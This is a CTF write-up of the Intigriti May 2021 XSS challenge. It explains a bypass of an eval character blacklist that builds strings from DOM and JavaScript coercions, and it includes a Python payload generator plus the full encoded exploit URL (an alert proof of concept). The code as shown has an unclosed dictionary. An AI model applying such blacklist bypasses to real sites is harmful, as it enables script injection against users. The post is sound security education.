[Intigriti XSS challenge] May 2021

I solved Intigriti’s 0521 XSS challenge, which was a guest challenge created by @GrumpinouT.

After a first inspection, there’s not a lot going on on the front page, so the captcha.php is probably a more interesting target. There are several named spans on that page with simple letters, so they seem likely to be something that can be controlled by sending query parameters to the PHP. This though is quickly confirmed, a, b, c and d can all be set, but unfortunately a few quick tests seem to indicate those fields are all properly sanitized. Furthermore the contents of a and d are reset to random integer values once the page loads.

Looking at the javascript code on this page, we can easily spot an eval, with its accompanying character blacklist. The comment there points us at an interesting hole: the letter e is available “because it’s a mathematical constant”. Some other characters that are available and will be useful are `[]{}$+/. and all digits. The value of e is however not a mathematical constant in this case, but the global variable referencing the DOM object with id e.

From here, we start having access to several strings, so we can start collecting letters and can start doing an alternative version of the ever-classic JSFuck. One variant that gets extremely close to what we have access to is jsf$ck, but we don’t have access to the critical character !. Instead, let’s start finding our own gadgets to build strings out of. The final payload we’re aiming for would be


which will use tagged templates to create a new function with our payload and immediately call it.

Side note: We need the ['call'] because otherwise the string interpolation will pass too many arguments to Function and we just get exceptions.

So the strings we need to form are:

Already by using `${e}`, we can get the string "[object HTMLProgressElement]", which has a lot of the letters we need. We’re only missing a, u and parentheses. A u, we can get from undefined, as value which is easy to get essentially anywhere in javascript, and which we can cast to a string by adding it to ``, in particular, the choice is made for [[][0]+``][0]. To get an a, we look for more interesting javascript constants, and we find NaN, which we can get by dividing 0/0. The parentheses took the longest to find, but remembering that a function’s toString() contains the entire function, including formal parameters, we can use []['constructor']+`` to get something starting with function Array(). Note that we already have enough letters to form that string 'constructor'.

From there, it’s a matter of combining all these letters into one big string, create a URL and have some unsuspecting victim click on the submit button despite a wall of suspicious text being in the formula. Rather than doing everything by hand, I opted to make a quick python script that will generate it for us. One last pitfall we encounter along the way is that we need to sandwich our exploit with +, since the numbers a and c will be concatenated to both sides.

The script is presented below, and is fairly self explanatory:

import urllib.parse

def findletter(s):
    for k, v in blocks.items():
        if s in v:
            return k + f"[{v.index(s)}]"
    assert False, s

def find(s):
    return '+'.join(findletter(t) for t in s)

blocks = {
'`${e}`': "[object HTMLProgressElement]",
'[[][0]+``][0]': "undefined",
'[[0/0]+``][0]': 'NaN',
'`.`': '.',

CONSTRUCTOR = find("constructor")

blocks[f"[[][{CONSTRUCTOR}]+``][0]"] = "function Array()"

CALL = find("call")
PAYLOAD = find("alert(document.domain)")
print("https://challenge-0521.intigriti.io/captcha.php?c=0&b=" + urllib.parse.quote('+e[%s][%s][%s]`${%s}```+' % (CONSTRUCTOR, CONSTRUCTOR, CALL, PAYLOAD)))

Which will result in this link: https://challenge-0521.intigriti.io/captcha.php?c=0&b=%2Be%5B%60%24%7Be%7D%60%5B5%5D%2B%60%24%7Be%7D%60%5B1%5D%2B%60%24%7Be%7D%60%5B25%5D%2B%60%24%7Be%7D%60%5B18%5D%2B%60%24%7Be%7D%60%5B6%5D%2B%60%24%7Be%7D%60%5B13%5D%2B%5B%5B%5D%5B0%5D%2B%60%60%5D%5B0%5D%5B0%5D%2B%60%24%7Be%7D%60%5B5%5D%2B%60%24%7Be%7D%60%5B6%5D%2B%60%24%7Be%7D%60%5B1%5D%2B%60%24%7Be%7D%60%5B13%5D%5D%5B%60%24%7Be%7D%60%5B5%5D%2B%60%24%7Be%7D%60%5B1%5D%2B%60%24%7Be%7D%60%5B25%5D%2B%60%24%7Be%7D%60%5B18%5D%2B%60%24%7Be%7D%60%5B6%5D%2B%60%24%7Be%7D%60%5B13%5D%2B%5B%5B%5D%5B0%5D%2B%60%60%5D%5B0%5D%5B0%5D%2B%60%24%7Be%7D%60%5B5%5D%2B%60%24%7Be%7D%60%5B6%5D%2B%60%24%7Be%7D%60%5B1%5D%2B%60%24%7Be%7D%60%5B13%5D%5D%5B%60%24%7Be%7D%60%5B5%5D%2B%5B%5B0/0%5D%2B%60%60%5D%5B0%5D%5B1%5D%2B%60%24%7Be%7D%60%5B21%5D%2B%60%24%7Be%7D%60%5B21%5D%5D%60%24%7B%5B%5B0/0%5D%2B%60%60%5D%5B0%5D%5B1%5D%2B%60%24%7Be%7D%60%5B21%5D%2B%60%24%7Be%7D%60%5B4%5D%2B%60%24%7Be%7D%60%5B13%5D%2B%60%24%7Be%7D%60%5B6%5D%2B%5B%5B%5D%5B%60%24%7Be%7D%60%5B5%5D%2B%60%24%7Be%7D%60%5B1%5D%2B%60%24%7Be%7D%60%5B25%5D%2B%60%24%7Be%7D%60%5B18%5D%2B%60%24%7Be%7D%60%5B6%5D%2B%60%24%7Be%7D%60%5B13%5D%2B%5B%5B%5D%5B0%5D%2B%60%60%5D%5B0%5D%5B0%5D%2B%60%24%7Be%7D%60%5B5%5D%2B%60%24%7Be%7D%60%5B6%5D%2B%60%24%7Be%7D%60%5B1%5D%2B%60%24%7Be%7D%60%5B13%5D%5D%2B%60%60%5D%5B0%5D%5B14%5D%2B%5B%5B%5D%5B0%5D%2B%60%60%5D%5B0%5D%5B2%5D%2B%60%24%7Be%7D%60%5B1%5D%2B%60%24%7Be%7D%60%5B5%5D%2B%5B%5B%5D%5B0%5D%2B%60%60%5D%5B0%5D%5B0%5D%2B%60%24%7Be%7D%60%5B23%5D%2B%60%24%7Be%7D%60%5B4%5D%2B%60%24%7Be%7D%60%5B25%5D%2B%60%24%7Be%7D%60%5B6%5D%2B%60.%60%5B0%5D%2B%5B%5B%5D%5B0%5D%2B%60%60%5D%5B0%5D%5B2%5D%2B%60%24%7Be%7D%60%5B1%5D%2B%60%24%7Be%7D%60%5B23%5D%2B%5B%5B0/0%5D%2B%60%60%5D%5B0%5D%5B1%5D%2B%5B%5B%5D%5B0%5D%2B%60%60%5D%5B0%5D%5B5%5D%2B%60%24%7Be%7D%60%5B25%5D%2B%5B%5B%5D%5B%60%24%7Be%7D%60%5B5%5D%2B%60%24%7Be%7D%60%5B1%5D%2B%60%24%7Be%7D%60%5B25%5D%2B%60%24%7Be%7D%60%5B18%5D%2B%60%24%7Be%7D%60%5B6%5D%2B%60%24%7Be%7D%60%5B13%5D%2B%5B%5B%5D%5B0%5D%2B%60%60%5D%5B0%5D%5B0%5D%2B%60%24%7Be%7D%60%5B5%5D%2B%60%24%7Be%7D%60%5B6%5D%2B%60%24%7Be%7D%60%5B1%5D%2B%60%24%7Be%7D%60%5B13%5D%5D%2B%60%60%5D%5B0%5D%5B15%5D%7D%60%60%60%2B